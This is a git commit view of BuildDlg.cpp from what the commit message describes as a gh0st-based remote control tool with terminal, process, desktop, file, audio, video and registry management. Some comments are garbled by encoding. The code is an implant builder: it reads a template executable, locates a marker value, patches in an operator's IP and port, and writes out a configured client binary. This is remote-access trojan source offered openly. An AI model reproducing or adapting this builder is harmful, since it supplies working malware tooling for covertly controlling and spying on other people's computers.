基于gh0st的远程控制器

实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
yuanyuanxiang
2019-01-05 20:21:43 +08:00
parent 3a66916242
commit 27fcb6284e
136 changed files with 33399 additions and 0 deletions

View File

@@ -0,0 +1,135 @@
// BuildDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
//
#include "stdafx.h"
#include "2015Remote.h"
#include "BuildDlg.h"
#include "afxdialogex.h"
#include <io.h>
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
struct CONNECT_ADDRESS
{
DWORD dwFlag;
char szServerIP[MAX_PATH];
int iPort;
}g_ConnectAddress={0x1234567,"",0};
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T(""))
, m_strPort(_T(""))
{
}
CBuildDlg::~CBuildDlg()
{
}
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
}
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
END_MESSAGE_MAP()
// CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CBuildDlg::OnBnClickedOk()
{
CFile File;
char szTemp[MAX_PATH];
ZeroMemory(szTemp,MAX_PATH);
CString strCurrentPath;
CString strFile;
CString strSeverFile;
BYTE * szBuffer=NULL;
DWORD dwFileSize;
UpdateData(TRUE);
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
return;
try
{
//<2F>˴<EFBFBD><CBB4>õ<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
char path[_MAX_PATH], *p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p+1, "TestRun.exe");
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (_access(path, 0) == -1)
{
MessageBox("\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return CDialog::OnOK();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
dwFileSize=File.GetLength();
szBuffer=new BYTE[dwFileSize];
ZeroMemory(szBuffer,dwFileSize);
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
File.Read(szBuffer,dwFileSize);
File.Close();
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD><EFBFBD>ļ<EFBFBD>
strcpy(p+1, "ClientDemo.exe");
strSeverFile = path;
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
File.Write(szBuffer,dwFileSize);
File.Close();
delete[] szBuffer;
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!");
}
catch (CMemoryException* e)
{
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
}
catch (CFileException* e)
{
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
}
catch (CException* e)
{
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
}
CDialog::OnOK();
}
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
{
int i,j;
if (iKeySize == 0||iBufferSize==0)
{
return -1;
}
for (i = 0; i < iBufferSize; i++)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
if (j == iKeySize) return i;
}
return -1;
}